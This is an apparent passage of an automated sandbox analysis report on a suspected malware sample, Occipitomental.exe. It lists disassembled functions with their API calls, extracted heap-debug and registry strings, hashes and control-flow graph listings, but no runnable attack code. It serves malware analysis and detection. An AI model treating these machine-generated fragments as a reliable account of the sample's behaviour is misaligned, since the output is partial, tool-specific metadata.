                                                  • CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402CD2,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Occipitomental.exe,C:\Users\user\Desktop\Occipitomental.exe,80000000,?), ref: 004057CA
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: CharPrevlstrlen
                                                  • String ID: C:\Users\user\Desktop
                                                  • API String ID: 2709904686-3976562730
                                                  • Opcode ID: 34bcb0359ecd18d08228093df84e7486f7a8c477fb5e2f0dc73f73f3b7a35111
                                                  • Instruction ID: 18ef7b42b2ca9dadb34ddb0bde1cbbab447e34e044d1250ac1c79b5d16d3cc30
                                                  • Opcode Fuzzy Hash: 34bcb0359ecd18d08228093df84e7486f7a8c477fb5e2f0dc73f73f3b7a35111
                                                  • Instruction Fuzzy Hash: 8ED0A762418D70AEF30362109C04B8F6A58CF13700F194463E040A7190C2784C414BFD
                                                  Function 100010E0 Relevance: 5.1, APIs: 4, Instructions: 102memoryCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • GlobalAlloc.KERNEL32(00000040,?), ref: 1000115B
                                                  • GlobalFree.KERNEL32(00000000), ref: 100011B4
                                                  • GlobalFree.KERNEL32(?), ref: 100011C7
                                                  • GlobalFree.KERNEL32(?), ref: 100011F5
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3070329790.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                  • Associated: 00000000.00000002.3070306760.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                  • Associated: 00000000.00000002.3070348692.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                  • Associated: 00000000.00000002.3070387303.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_10000000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: Global$Free$Alloc
                                                  • String ID:
                                                  • API String ID: 1780285237-0
                                                  • Opcode ID: 6ef9e3687ab983c99c874163fdcc0ee6cc2800f994ca68b8431a209e6fec97f5
                                                  • Instruction ID: 5d3a3765e571093bf703368c32e31ec5bfeafbef09712c331e02e9e13643e521
                                                  • Opcode Fuzzy Hash: 6ef9e3687ab983c99c874163fdcc0ee6cc2800f994ca68b8431a209e6fec97f5
                                                  • Instruction Fuzzy Hash: 6531ABB1808255AFF715CFA8DC89AEA7FE8EB052C1B164115FA45D726CDB34D910CB24
                                                  Function 004058D5 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B32,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004058E5
                                                  • lstrcmpiA.KERNEL32(00000000,00000000), ref: 004058FD
                                                  • CharNextA.USER32(00000000,?,00000000,00405B32,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 0040590E
                                                  • lstrlenA.KERNEL32(00000000,?,00000000,00405B32,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405917
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: lstrlen$CharNextlstrcmpi
                                                  • String ID:
                                                  • API String ID: 190613189-0
                                                  • Opcode ID: 0fc7b795b21fde4e840a5a8ebe1bc240de770827404be4bbaaf079e1ba8cc010
                                                  • Instruction ID: 18e4c75142147f65de27112721ce36ab9a51ac25249ca18f40cf651f68c78b39
                                                  • Opcode Fuzzy Hash: 0fc7b795b21fde4e840a5a8ebe1bc240de770827404be4bbaaf079e1ba8cc010
                                                  • Instruction Fuzzy Hash: 01F0F632505414FFCB029FA4DD00D9EBBA8DF05360B2540B5F800F7250D234EE01AB99

                                                  Execution Graph

                                                  Execution Coverage:0%
                                                  Dynamic/Decrypted Code Coverage:100%
                                                  Signature Coverage:100%
                                                  Total number of Nodes:1
                                                  Total number of Limit Nodes:0
                                                  execution_graph 82143 35702df0 LdrInitializeThunk

                                                  Executed Functions

                                                  Function 357035C0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                  Download Yara Rule

                                                  Control-flow Graph

                                                  • Executed
                                                  • Not Executed
                                                  control_flow_graph 1 357035c0-357035cc LdrInitializeThunk
                                                  APIs
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: InitializeThunk
                                                  • String ID:
                                                  • API String ID: 2994545307-0
                                                  • Opcode ID: 06b0842d70b49572f58cff0c661432ff4c045e5a0d7ea5f6394f03e0efb201d4
                                                  • Instruction ID: 57611a18f981dfaa886b8b181bbbe833eb65521cb2620199e5d8dbcefc766596
                                                  • Opcode Fuzzy Hash: 06b0842d70b49572f58cff0c661432ff4c045e5a0d7ea5f6394f03e0efb201d4
                                                  • Instruction Fuzzy Hash: FC90023265550403D20071594514706201547E1201FA5C452A4424938D87998B5566A2
                                                  Function 35702DF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                  Download Yara Rule

                                                  Control-flow Graph

                                                  • Executed
                                                  • Not Executed
                                                  control_flow_graph 0 35702df0-35702dfc LdrInitializeThunk
                                                  APIs
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: InitializeThunk
                                                  • String ID:
                                                  • API String ID: 2994545307-0
                                                  • Opcode ID: 22f93d331cfcec9d02d3acdbdc09495204d450df91c16ae7d69139ec6f4467f3
                                                  • Instruction ID: 6921e1a1fec71e1d785e406581c7d7bb47333d5b4815b5465210caae3496d8c6
                                                  • Opcode Fuzzy Hash: 22f93d331cfcec9d02d3acdbdc09495204d450df91c16ae7d69139ec6f4467f3
                                                  • Instruction Fuzzy Hash: 0990023225140413D21171594504707101947E1241FD5C453A4424928D975A8B56A221

                                                  Non-executed Functions

                                                  Function 357694E0 Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 558timeCOMMON
                                                  Download Yara Rule

                                                  Control-flow Graph

                                                  • Executed
                                                  • Not Executed
                                                  control_flow_graph 553 357694e0-35769529 554 3576952b-35769530 553->554 555 35769578-35769587 553->555 556 35769534-3576953a 554->556 555->556 557 35769589-3576958e 555->557 559 35769695-357696bd call 35709020 556->559 560 35769540-35769564 call 35709020 556->560 558 35769d13-35769d27 call 35704c30 557->558 567 357696bf-357696da call 35769d2a 559->567 568 357696dc-35769712 559->568 569 35769566-35769573 call 3578972b 560->569 570 35769593-35769634 GetPEB call 3576dc65 560->570 573 35769714-35769716 567->573 568->573 579 3576967d-35769690 RtlDebugPrintTimes 569->579 580 35769636-35769644 570->580 581 35769652-35769667 570->581 573->558 578 3576971c-35769731 RtlDebugPrintTimes 573->578 578->558 587 35769737-3576973e 578->587 579->558 580->581 582 35769646-3576964b 580->582 581->579 583 35769669-3576966e 581->583 582->581 585 35769673-35769676 583->585 586 35769670 583->586 585->579 586->585 587->558 589 35769744-3576975f 587->589 590 35769763-35769774 call 3576a808 589->590 593 35769d11 590->593 594 3576977a-3576977c 590->594 593->558 594->558 595 35769782-35769789 594->595 596 3576978f-35769794 595->596 597 357698fc-35769902 595->597 598 35769796-3576979c 596->598 599 357697bc 596->599 600 35769a9c-35769aa2 597->600 601 35769908-35769937 call 35709020 597->601 598->599 602 3576979e-357697b2 598->602 603 357697c0-35769811 call 35709020 RtlDebugPrintTimes 599->603 605 35769af4-35769af9 600->605 606 35769aa4-35769aad 600->606 618 35769970-35769985 601->618 619 35769939-35769944 601->619 609 357697b4-357697b6 602->609 610 357697b8-357697ba 602->610 603->558 645 35769817-3576981b 603->645 607 35769aff-35769b07 605->607 608 35769ba8-35769bb1 605->608 606->590 613 35769ab3-35769aef call 35709020 606->613 614 35769b13-35769b3d call 35768513 607->614 615 35769b09-35769b0d 607->615 608->590 617 35769bb7-35769bba 608->617 609->603 610->603 631 35769ce9 613->631 642 35769b43-35769b9e call 35709020 RtlDebugPrintTimes 614->642 643 35769d08-35769d0c 614->643 615->608 615->614 625 35769bc0-35769c0a 617->625 626 35769c7d-35769cb4 call 35709020 617->626 622 35769987-35769989 618->622 623 35769991-35769998 618->623 627 35769946-3576994d 619->627 628 3576994f-3576996e 619->628 633 3576998f 622->633 634 3576998b-3576998d 622->634 635 357699bd-357699bf 623->635 629 35769c11-35769c1e 625->629 630 35769c0c 625->630 655 35769cb6 626->655 656 35769cbb-35769cc2 626->656 627->628 632 357699d9-357699f6 RtlDebugPrintTimes 628->632 639 35769c20-35769c23 629->639 640 35769c2a-35769c2d 629->640 630->629 641 35769ced 631->641 632->558 659 357699fc-35769a1f call 35709020 632->659 633->623 634->623 646 357699c1-357699d7 635->646 647 3576999a-357699a4 635->647 639->640 650 35769c2f-35769c32 640->650 651 35769c39-35769c7b 640->651 649 35769cf1-35769d06 RtlDebugPrintTimes 641->649 642->558 686 35769ba4 642->686 643->590 657 3576981d-35769825 645->657 658 3576986b-35769880 645->658 646->632 652 357699a6 647->652 653 357699ad 647->653 649->558 649->643 650->651 651->649 652->646 661 357699a8-357699ab 652->661 663 357699af-357699b1 653->663 655->656 664 35769cc4-35769ccb 656->664 665 35769ccd 656->665 666 35769827-35769850 call 35768513 657->666 667 35769852-35769869 657->667 660 35769886-35769894 658->660 683 35769a21-35769a3b 659->683 684 35769a3d-35769a58 659->684 669 35769898-357698ef call 35709020 RtlDebugPrintTimes 660->669 661->663 671 357699b3-357699b5 663->671 672 357699bb 663->672 673 35769cd1-35769cd7 664->673 665->673 666->669 667->660 669->558 689 357698f5-357698f7 669->689 671->672 679 357699b7-357699b9 671->679 672->635 680 35769cde-35769ce4 673->680 681 35769cd9-35769cdc 673->681 679->635 680->641 682 35769ce6 680->682 681->631 682->631 687 35769a5d-35769a8b RtlDebugPrintTimes 683->687 684->687 686->608 687->558 691 35769a91-35769a97 687->691 689->643 691->617
                                                  APIs
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID: $ $0
                                                  • API String ID: 3446177414-3352262554
                                                  • Opcode ID: 396bebe04bd2ce50827a13a381d9c06d51f07ae51febd03de7dccca454ada6f7
                                                  • Instruction ID: 2c8c8ca27f68f364db76207354faad5de1014af042fe557ac6a1252da4f064ba
                                                  • Opcode Fuzzy Hash: 396bebe04bd2ce50827a13a381d9c06d51f07ae51febd03de7dccca454ada6f7
                                                  • Instruction Fuzzy Hash: 9C3204B56083818FE311CF68C484B9BFBF5BB88348F04492EF9998B250D7B5D949CB52
                                                  Function 35770274 Relevance: 16.1, APIs: 1, Strings: 8, Instructions: 348timeCOMMON
                                                  Download Yara Rule

                                                  Control-flow Graph

                                                  • Executed
                                                  • Not Executed
                                                  control_flow_graph 1296 35770274-35770296 call 35717e54 1299 357702b5-357702cd call 356b76b2 1296->1299 1300 35770298-357702b0 RtlDebugPrintTimes 1296->1300 1304 357706f7 1299->1304 1305 357702d3-357702e9 1299->1305 1306 35770751-35770760 1300->1306 1309 357706fa-3577074e call 35770766 1304->1309 1307 357702f0-357702f2 1305->1307 1308 357702eb-357702ee 1305->1308 1310 357702f3-3577030a 1307->1310 1308->1310 1309->1306 1312 357706b1-357706ba GetPEB 1310->1312 1313 35770310-35770313 1310->1313 1317 357706bc-357706d7 GetPEB call 356bb970 1312->1317 1318 357706d9-357706de call 356bb970 1312->1318 1313->1312 1315 35770319-35770322 1313->1315 1320 35770324-3577033b call 356cffb0 1315->1320 1321 3577033e-35770351 call 35770cb5 1315->1321 1324 357706e3-357706f4 call 356bb970 1317->1324 1318->1324 1320->1321 1331 35770353-3577035a 1321->1331 1332 3577035c-35770370 call 356b758f 1321->1332 1324->1304 1331->1332 1335 35770376-35770382 GetPEB 1332->1335 1336 357705a2-357705a7 1332->1336 1337 35770384-35770387 1335->1337 1338 357703f0-357703fb 1335->1338 1336->1309 1339 357705ad-357705b9 GetPEB 1336->1339 1340 357703a6-357703ab call 356bb970 1337->1340 1341 35770389-357703a4 GetPEB call 356bb970 1337->1341 1344 35770401-35770408 1338->1344 1345 357704e8-357704fa call 356d27f0 1338->1345 1342 35770627-35770632 1339->1342 1343 357705bb-357705be 1339->1343 1356 357703b0-357703d1 call 356bb970 GetPEB 1340->1356 1341->1356 1342->1309 1346 35770638-35770643 1342->1346 1348 357705c0-357705db GetPEB call 356bb970 1343->1348 1349 357705dd-357705e2 call 356bb970 1343->1349 1344->1345 1352 3577040e-35770417 1344->1352 1367 35770590-3577059d call 357711a4 call 35770cb5 1345->1367 1368 35770500-35770507 1345->1368 1346->1309 1353 35770649-35770654 1346->1353 1366 357705e7-357705fb call 356bb970 1348->1366 1349->1366 1359 35770419-35770429 1352->1359 1360 35770438-3577043c 1352->1360 1353->1309 1361 3577065a-35770663 GetPEB 1353->1361 1356->1345 1387 357703d7-357703eb 1356->1387 1359->1360 1369 3577042b-35770435 call 3577dac6 1359->1369 1362 3577044e-35770454 1360->1362 1363 3577043e-3577044c call 356f3bc9 1360->1363 1371 35770665-35770680 GetPEB call 356bb970 1361->1371 1372 35770682-35770687 call 356bb970 1361->1372 1374 35770457-35770460 1362->1374 1363->1374 1399 357705fe-35770608 GetPEB 1366->1399 1367->1336 1377 35770512-3577051a 1368->1377 1378 35770509-35770510 1368->1378 1369->1360 1396 3577068c-357706ac call 357686ba call 356bb970 1371->1396 1372->1396 1385 35770472-35770475 1374->1385 1386 35770462-35770470 1374->1386 1389 3577051c-3577052c 1377->1389 1390 35770538-3577053c 1377->1390 1378->1377 1397 35770477-3577047e 1385->1397 1398 357704e5 1385->1398 1386->1385 1387->1345 1389->1390 1391 3577052e-35770533 call 3577dac6 1389->1391 1393 3577053e-35770551 call 356f3bc9 1390->1393 1394 3577056c-35770572 1390->1394 1391->1390 1410 35770563 1393->1410 1411 35770553-35770561 call 356efe99 1393->1411 1404 35770575-3577057c 1394->1404 1396->1399 1397->1398 1403 35770480-3577048b 1397->1403 1398->1345 1399->1309 1405 3577060e-35770622 1399->1405 1403->1398 1408 3577048d-35770496 GetPEB 1403->1408 1404->1367 1409 3577057e-3577058e 1404->1409 1405->1309 1413 357704b5-357704ba call 356bb970 1408->1413 1414 35770498-357704b3 GetPEB call 356bb970 1408->1414 1409->1367 1417 35770566-3577056a 1410->1417 1411->1417 1420 357704bf-357704dd call 357686ba call 356bb970 1413->1420 1414->1420 1417->1404 1420->1398
                                                  APIs
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID: About to reallocate block at %p to %Ix bytes$About to rellocate block at %p to 0x%Ix bytes with tag %ws$HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just reallocated block at %p to %Ix bytes$Just reallocated block at %p to 0x%Ix bytes with tag %ws$RtlReAllocateHeap
                                                  • API String ID: 3446177414-1700792311
                                                  • Opcode ID: 203054498d3b8fc0a33c98a9ef712ee8f24659c055df6d3e0d46fd8ae7deb9a3
                                                  • Instruction ID: bc04ca1bcd7ca2b785556d280f515acedb5a7236901f186c39f544cb0a1bc7c7
                                                  • Opcode Fuzzy Hash: 203054498d3b8fc0a33c98a9ef712ee8f24659c055df6d3e0d46fd8ae7deb9a3
                                                  • Instruction Fuzzy Hash: EDD1EC39614685DFDF11CF66E450AA9BBF2FF4A310F058059E446AF252CB74E941CF14
                                                  Function 356BD34C Relevance: 12.8, Strings: 10, Instructions: 312COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: @$@$@$Control Panel\Desktop$Control Panel\Desktop\MuiCached$H/n5$MachinePreferredUILanguages$PreferredUILanguages$PreferredUILanguagesPending$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings
                                                  • API String ID: 0-1936625071
                                                  • Opcode ID: ffcceff7725e33682a60bac84267d1860dafb1de61ac21fab2905001833f817a
                                                  • Instruction ID: ef6f917d1fe8171b66f19d1122e5f5cf9bb11e5534ee40cb2af4e99c580f83c8
                                                  • Opcode Fuzzy Hash: ffcceff7725e33682a60bac84267d1860dafb1de61ac21fab2905001833f817a
                                                  • Instruction Fuzzy Hash: 52B17BB25083519BDB11CF25C440B5FB7F9BB88754F42492EF889DB241EBB0DA48CB96
                                                  Function 3576F525 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 231timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID: HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just allocated block at %p for %Ix bytes$Just allocated block at %p for 0x%Ix bytes with tag %ws$RtlAllocateHeap
                                                  • API String ID: 3446177414-1745908468
                                                  • Opcode ID: b1ac4eb73620ba9b736e3cbb6593d8eec74c06a2eaebbd1f9457820f0818c785
                                                  • Instruction ID: 79f3d93275dabafe7ac0d2670b406f1843af755be5605b050b104a31b906ac3b
                                                  • Opcode Fuzzy Hash: b1ac4eb73620ba9b736e3cbb6593d8eec74c06a2eaebbd1f9457820f0818c785
                                                  • Instruction Fuzzy Hash: 8D91FE35A04745DFEB11CF69C440AADBBF2FF4A318F54809DE845AF262CBB59982CB14
                                                  Function 357712ED Relevance: 11.8, Strings: 9, Instructions: 515COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: Free Heap block %p modified at %p after it was freed$HEAP: $HEAP[%wZ]: $Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x)$Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x)$Heap block at %p has corrupted PreviousSize (%lx)$Heap block at %p has incorrect segment offset (%x)$Heap block at %p is not last block in segment (%p)$Heap entry %p has incorrect PreviousSize field (%04x instead of %04x)
                                                  • API String ID: 0-3591852110
                                                  • Opcode ID: badeb727f1fd8381ecb6eb21d46432d8cb7f8c76dcad7c039e9faf6cb5ad0397
                                                  • Instruction ID: df4127deab8aa4ba6aa5aa73d0014c4f13cc62a19029adcca500d48389a1f1b8
                                                  • Opcode Fuzzy Hash: badeb727f1fd8381ecb6eb21d46432d8cb7f8c76dcad7c039e9faf6cb5ad0397
                                                  • Instruction Fuzzy Hash: C4129874604682DFEB25CF26D490BBABBF2FF09314F558499E4868F651DB74E880CB90
                                                  Function 356BD08D Relevance: 11.5, Strings: 9, Instructions: 249COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  • Control Panel\Desktop\MuiCached\MachineLanguageConfiguration, xrefs: 356BD262
                                                  • \Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration, xrefs: 356BD2C3
                                                  • @, xrefs: 356BD2AF
                                                  • \Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 356BD0CF
                                                  • @, xrefs: 356BD0FD
                                                  • Control Panel\Desktop\LanguageConfiguration, xrefs: 356BD196
                                                  • @, xrefs: 356BD313
                                                  • Software\Policies\Microsoft\Control Panel\Desktop, xrefs: 356BD146
                                                  • H/n5, xrefs: 3571A843
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: @$@$@$Control Panel\Desktop\LanguageConfiguration$Control Panel\Desktop\MuiCached\MachineLanguageConfiguration$H/n5$Software\Policies\Microsoft\Control Panel\Desktop$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration
                                                  • API String ID: 0-881337438
                                                  • Opcode ID: 2483de08f135e9846ce2dfbcf770ef0a090c04353b6f96c3ace3f0620c5d34e1
                                                  • Instruction ID: 09e82fec31359b1def363f308cf9ab02140271c741485705c8070660848ea996
                                                  • Opcode Fuzzy Hash: 2483de08f135e9846ce2dfbcf770ef0a090c04353b6f96c3ace3f0620c5d34e1
                                                  • Instruction Fuzzy Hash: A1A16DB19083459FE721DF21C484B5BB7F8BB84765F41492EE9889B241E7B4DA08CF93
                                                  Function 356D1070 Relevance: 11.4, APIs: 2, Strings: 4, Instructions: 940timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID: !(CheckedFlags & ~HEAP_CREATE_VALID_MASK)$@$HEAP: $HEAP[%wZ]:
                                                  • API String ID: 3446177414-3570731704
                                                  • Opcode ID: 1f7c573d3155d7d1c56d89ea59c9c70f0cab2330044aff3cba02296c2df1f857
                                                  • Instruction ID: 17b390d1c687668baab953aaa81a9e28173f7a89c7ccfe7b50c9e6c7632ac4d4
                                                  • Opcode Fuzzy Hash: 1f7c573d3155d7d1c56d89ea59c9c70f0cab2330044aff3cba02296c2df1f857
                                                  • Instruction Fuzzy Hash: CB924675A04369CFEB20CB18C844F99B7F6BF45390F0585EAE849AB250DBB09E80CF51
                                                  Function 3576FD78 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 190timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID: About to free block at %p$About to free block at %p with tag %ws$HEAP: $HEAP[%wZ]: $RtlFreeHeap
                                                  • API String ID: 3446177414-3492000579
                                                  • Opcode ID: d3fd9fd5f3c264899ef044ada43f1e74aac69999fdb06d25c6f59384e9d36e48
                                                  • Instruction ID: 267a467db3fe96adcfc688b352f2fb6d023561b3dc63dc48e76d533a99f54d3f
                                                  • Opcode Fuzzy Hash: d3fd9fd5f3c264899ef044ada43f1e74aac69999fdb06d25c6f59384e9d36e48
                                                  • Instruction Fuzzy Hash: FF71EB71A14689DFDB05CFA8D440AEDFBF2FF4A318F048059E841AF252CB719982CB54
